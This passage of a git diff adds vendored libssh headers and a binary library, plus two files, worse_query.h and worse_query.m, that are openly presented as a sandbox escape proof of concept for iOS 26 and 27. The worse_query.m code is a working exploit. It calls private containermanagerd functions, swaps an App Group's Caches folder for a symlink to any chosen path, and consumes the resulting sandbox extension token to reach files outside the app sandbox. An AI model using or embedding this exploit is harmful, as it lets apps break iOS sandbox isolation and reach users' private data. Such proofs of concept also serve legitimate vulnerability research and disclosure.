SSH2_MSG_KEX_DH_GEX_GROUP 31 +#define SSH2_MSG_KEX_DH_GEX_INIT 32 +#define SSH2_MSG_KEX_DH_GEX_REPLY 33 +#define SSH2_MSG_KEX_DH_GEX_REQUEST 34 +#define SSH2_MSG_USERAUTH_REQUEST 50 +#define SSH2_MSG_USERAUTH_FAILURE 51 +#define SSH2_MSG_USERAUTH_SUCCESS 52 +#define SSH2_MSG_USERAUTH_BANNER 53 +#define SSH2_MSG_USERAUTH_PK_OK 60 +#define SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ 60 +#define SSH2_MSG_USERAUTH_INFO_REQUEST 60 +#define SSH2_MSG_USERAUTH_GSSAPI_RESPONSE 60 +#define SSH2_MSG_USERAUTH_INFO_RESPONSE 61 +#define SSH2_MSG_USERAUTH_GSSAPI_TOKEN 61 +#define SSH2_MSG_USERAUTH_GSSAPI_EXCHANGE_COMPLETE 63 +#define SSH2_MSG_USERAUTH_GSSAPI_ERROR 64 +#define SSH2_MSG_USERAUTH_GSSAPI_ERRTOK 65 +#define SSH2_MSG_USERAUTH_GSSAPI_MIC 66 + +#define SSH2_MSG_GLOBAL_REQUEST 80 +#define SSH2_MSG_REQUEST_SUCCESS 81 +#define SSH2_MSG_REQUEST_FAILURE 82 +#define SSH2_MSG_CHANNEL_OPEN 90 +#define SSH2_MSG_CHANNEL_OPEN_CONFIRMATION 91 +#define SSH2_MSG_CHANNEL_OPEN_FAILURE 92 +#define SSH2_MSG_CHANNEL_WINDOW_ADJUST 93 +#define SSH2_MSG_CHANNEL_DATA 94 +#define SSH2_MSG_CHANNEL_EXTENDED_DATA 95 +#define SSH2_MSG_CHANNEL_EOF 96 +#define SSH2_MSG_CHANNEL_CLOSE 97 +#define SSH2_MSG_CHANNEL_REQUEST 98 +#define SSH2_MSG_CHANNEL_SUCCESS 99 +#define SSH2_MSG_CHANNEL_FAILURE 100 + +#define SSH2_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT 1 +#define SSH2_DISCONNECT_PROTOCOL_ERROR 2 +#define SSH2_DISCONNECT_KEY_EXCHANGE_FAILED 3 +#define SSH2_DISCONNECT_HOST_AUTHENTICATION_FAILED 4 +#define SSH2_DISCONNECT_RESERVED 4 +#define SSH2_DISCONNECT_MAC_ERROR 5 +#define SSH2_DISCONNECT_COMPRESSION_ERROR 6 +#define SSH2_DISCONNECT_SERVICE_NOT_AVAILABLE 7 +#define SSH2_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED 8 +#define SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE 9 +#define SSH2_DISCONNECT_CONNECTION_LOST 10 +#define SSH2_DISCONNECT_BY_APPLICATION 11 +#define SSH2_DISCONNECT_TOO_MANY_CONNECTIONS 12 +#define SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER 13 +#define SSH2_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE 14 +#define SSH2_DISCONNECT_ILLEGAL_USER_NAME 15 + +#define SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED 1 +#define SSH2_OPEN_CONNECT_FAILED 2 +#define SSH2_OPEN_UNKNOWN_CHANNEL_TYPE 3 +#define SSH2_OPEN_RESOURCE_SHORTAGE 4 + +#define SSH2_EXTENDED_DATA_STDERR 1 + +#endif diff --git a/vendor/libssh/include/libssh/string.h b/vendor/libssh/include/libssh/string.h new file mode 100644 index 0000000..35b2ea2 --- /dev/null +++ b/vendor/libssh/include/libssh/string.h @@ -0,0 +1,49 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef STRING_H_ +#define STRING_H_ +#include "libssh/priv.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* must be 32 bits number + immediately our data */ +#ifdef _MSC_VER +#pragma pack(1) +#endif +struct ssh_string_struct { + uint32_t size; + unsigned char data[1]; +} +#if defined(__GNUC__) +__attribute__ ((packed)) +#endif +#ifdef _MSC_VER +#pragma pack() +#endif +; + +#ifdef __cplusplus +} +#endif + +#endif /* STRING_H_ */ diff --git a/vendor/libssh/include/libssh/threads.h b/vendor/libssh/include/libssh/threads.h new file mode 100644 index 0000000..47340d1 --- /dev/null +++ b/vendor/libssh/include/libssh/threads.h @@ -0,0 +1,71 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef THREADS_H_ +#define THREADS_H_ + +#include +#include + +#if HAVE_PTHREAD + +#include +#define SSH_MUTEX pthread_mutex_t + +#if defined(PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP) +#define SSH_MUTEX_STATIC_INIT PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP +#else +#define SSH_MUTEX_STATIC_INIT PTHREAD_MUTEX_INITIALIZER +#endif + +#elif (defined _WIN32) || (defined _WIN64) + +#include +#include +#define SSH_MUTEX CRITICAL_SECTION * +#define SSH_MUTEX_STATIC_INIT NULL + +#else + +# define SSH_MUTEX void * +#define SSH_MUTEX_STATIC_INIT NULL + +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_threads_init(void); +void ssh_threads_finalize(void); +const char *ssh_threads_get_type(void); + +void ssh_mutex_lock(SSH_MUTEX *mutex); +void ssh_mutex_unlock(SSH_MUTEX *mutex); + +struct ssh_threads_callbacks_struct *ssh_threads_get_default(void); +int crypto_thread_init(struct ssh_threads_callbacks_struct *user_callbacks); +void crypto_thread_finalize(void); + +#ifdef __cplusplus +} +#endif + +#endif /* THREADS_H_ */ diff --git a/vendor/libssh/include/libssh/token.h b/vendor/libssh/include/libssh/token.h new file mode 100644 index 0000000..2cd7b20 --- /dev/null +++ b/vendor/libssh/include/libssh/token.h @@ -0,0 +1,56 @@ +/* + * token.h - Tokens list handling + * + * This file is part of the SSH Library + * + * Copyright (c) 2019 by Red Hat, Inc. + * + * Author: Anderson Toshiyuki Sasaki + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef TOKEN_H_ +#define TOKEN_H_ + +struct ssh_tokens_st { + char *buffer; + char **tokens; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_tokens_st *ssh_tokenize(const char *chain, char separator); + +void ssh_tokens_free(struct ssh_tokens_st *tokens); + +char *ssh_find_matching(const char *available_d, + const char *preferred_d); + +char *ssh_find_all_matching(const char *available_d, + const char *preferred_d); + +char *ssh_remove_duplicates(const char *list); + +char *ssh_append_without_duplicates(const char *list, + const char *appended_list); +#ifdef __cplusplus +} +#endif + +#endif /* TOKEN_H_ */ diff --git a/vendor/libssh/include/libssh/wrapper.h b/vendor/libssh/include/libssh/wrapper.h new file mode 100644 index 0000000..b3e28ea --- /dev/null +++ b/vendor/libssh/include/libssh/wrapper.h @@ -0,0 +1,138 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef WRAPPER_H_ +#define WRAPPER_H_ + +#include + +#include "config.h" +#include "libssh/libssh.h" +#include "libssh/libcrypto.h" +#include "libssh/libgcrypt.h" +#include "libssh/libmbedcrypto.h" + +#ifdef __cplusplus +extern "C" { +#endif + +enum ssh_kdf_digest { + SSH_KDF_SHA1=1, + SSH_KDF_SHA256, + SSH_KDF_SHA384, + SSH_KDF_SHA512 +}; + +enum ssh_hmac_e { + SSH_HMAC_SHA1 = 1, + SSH_HMAC_SHA256, + SSH_HMAC_SHA512, + SSH_HMAC_MD5, + SSH_HMAC_AEAD_POLY1305, + SSH_HMAC_AEAD_GCM, + SSH_HMAC_NONE, +}; + +enum ssh_des_e { + SSH_3DES, + SSH_DES +}; + +struct ssh_hmac_struct { + const char* name; + enum ssh_hmac_e hmac_type; + bool etm; +}; + +enum ssh_crypto_direction_e { + SSH_DIRECTION_IN = 1, + SSH_DIRECTION_OUT = 2, + SSH_DIRECTION_BOTH = 3, +}; + +struct ssh_cipher_struct; +struct ssh_crypto_struct; + +typedef struct ssh_mac_ctx_struct *ssh_mac_ctx; +MD5CTX md5_init(void); +void md5_ctx_free(MD5CTX); +int md5_update(MD5CTX c, const void *data, size_t len); +int md5_final(unsigned char *md, MD5CTX c); + +SHACTX sha1_init(void); +void sha1_ctx_free(SHACTX); +int sha1_update(SHACTX c, const void *data, size_t len); +int sha1_final(unsigned char *md,SHACTX c); +int sha1(const unsigned char *digest,size_t len, unsigned char *hash); + +SHA256CTX sha256_init(void); +void sha256_ctx_free(SHA256CTX); +int sha256_update(SHA256CTX c, const void *data, size_t len); +int sha256_final(unsigned char *md,SHA256CTX c); +int sha256(const unsigned char *digest, size_t len, unsigned char *hash); + +SHA384CTX sha384_init(void); +void sha384_ctx_free(SHA384CTX); +int sha384_update(SHA384CTX c, const void *data, size_t len); +int sha384_final(unsigned char *md,SHA384CTX c); +int sha384(const unsigned char *digest, size_t len, unsigned char *hash); + +SHA512CTX sha512_init(void); +void sha512_ctx_free(SHA512CTX); +int sha512_update(SHA512CTX c, const void *data, size_t len); +int sha512_final(unsigned char *md,SHA512CTX c); +int sha512(const unsigned char *digest, size_t len, unsigned char *hash); + +HMACCTX hmac_init(const void *key,size_t len, enum ssh_hmac_e type); +int hmac_update(HMACCTX c, const void *data, size_t len); +int hmac_final(HMACCTX ctx, unsigned char *hashmacbuf, size_t *len); +size_t hmac_digest_len(enum ssh_hmac_e type); + +int ssh_kdf(struct ssh_crypto_struct *crypto, + unsigned char *key, size_t key_len, + uint8_t key_type, unsigned char *output, + size_t requested_len); + +int crypt_set_algorithms_client(ssh_session session); +int crypt_set_algorithms_server(ssh_session session); +struct ssh_crypto_struct *crypto_new(void); +void crypto_free(struct ssh_crypto_struct *crypto); + +void ssh_reseed(void); +int ssh_crypto_init(void); +void ssh_crypto_finalize(void); + +void ssh_cipher_clear(struct ssh_cipher_struct *cipher); +struct ssh_hmac_struct *ssh_get_hmactab(void); +struct ssh_cipher_struct *ssh_get_ciphertab(void); +const char *ssh_hmac_type_to_string(enum ssh_hmac_e hmac_type, bool etm); + +#if defined(HAVE_LIBCRYPTO) && OPENSSL_VERSION_NUMBER >= 0x30000000L +int evp_build_pkey(const char* name, OSSL_PARAM_BLD *param_bld, EVP_PKEY **pkey, int selection); +int evp_dup_dsa_pkey(const ssh_key key, ssh_key new_key, int demote); +int evp_dup_rsa_pkey(const ssh_key key, ssh_key new_key, int demote); +int evp_dup_ecdsa_pkey(const ssh_key key, ssh_key new_key, int demote); +#endif /* HAVE_LIBCRYPTO && OPENSSL_VERSION_NUMBER */ + +#ifdef __cplusplus +} +#endif + +#endif /* WRAPPER_H_ */ diff --git a/vendor/libssh/libssh.4.dylib b/vendor/libssh/libssh.4.dylib new file mode 100755 index 0000000..230e678 Binary files /dev/null and b/vendor/libssh/libssh.4.dylib differ diff --git a/vendor/libssh/libssh.dylib b/vendor/libssh/libssh.dylib new file mode 120000 index 0000000..f26a913 --- /dev/null +++ b/vendor/libssh/libssh.dylib @@ -0,0 +1 @@ +libssh.4.dylib \ No newline at end of file diff --git a/worse_query.h b/worse_query.h new file mode 100644 index 0000000..0275bb9 --- /dev/null +++ b/worse_query.h @@ -0,0 +1,36 @@ +// +// worse_query.h +// worse_query +// +// Created by Taj C on 8/20/26. +// + +/* + worse_query - A sandbox escape PoC for iOS 26 and 27, again. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef worse_query_h +#define worse_query_h + +#import +#include +#include + +int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir); +void worse_query_release(int64_t handle); + +#endif /* worse_query_h */ diff --git a/worse_query.m b/worse_query.m new file mode 100644 index 0000000..cba035a --- /dev/null +++ b/worse_query.m @@ -0,0 +1,148 @@ +// +// worse_query.m +// worse_query +// +// Created by Taj C on 8/20/26. +// + +/* + worse_query - A sandbox escape PoC for iOS 26 and 27, again. + Copyright (C) 2026 Taj C (forcequit) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#import +#include +#include +#include +#include +#include "worse_query.h" + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); +typedef int (*sandbox_extension_release_fn)(int64_t); + +// Remove symlink and recreate Caches directory +static void clean_symlink(NSString *group) { + if (group != NULL) { + NSFileManager *files = [NSFileManager defaultManager]; + NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group]; + if (groupRoot) { + NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"]; + [files removeItemAtURL: caches error: nil]; + [files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil]; + } + } + return; +} + +// So, who's ready for round two? +int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) { + // Check if the target exists + if (!create_dir) { + struct stat st; + if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false + } + + // Get the App Group's path + // An App Group identifier you control is required for this + NSFileManager *files = [NSFileManager defaultManager]; + NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group]; + if (!groupRoot) return -1; // App Group doesn't exist or we can't access it + NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path]; + + // Resolve functions + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -2; // dlopen failed? + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) { + dlclose(mgr); + return -2; // Failed to resolve a function (unsupported OS) + } + + // Create query + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -3; // Failed to create query + } + + // Set up query + xpc_object_t identifier; + query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd + identifier = xpc_string_create(group.UTF8String); + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches + if (alt_flags) { + query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + // Set up symlink + [files removeItemAtPath: caches error: nil]; + if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) { + dlclose(mgr); + return -4; // Failed to create symlink + } + + // Send our query over + void *result = query_get_single_result(query); + if (!result) { + query_free(query); + dlclose(mgr); + clean_symlink(group); + return -5; // Query rejected by containermanagerd + } + char *token = copy_sandbox_token(result); + if (!token) { + query_free(query); + dlclose(mgr); + clean_symlink(group); + return -6; // Kernel refused to issue a sandbox extension + } + + // Consume sandbox extension and clean up + int64_t handle = consume_extension(token); + query_free(query); + free(token); + dlclose(mgr); + clean_symlink(group); + + return handle; +} + +// You should probably call this when you're done +void worse_query_release(int64_t handle) { + if (handle < 0) return; + sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); + if (release_extension) release_extension(handle); +}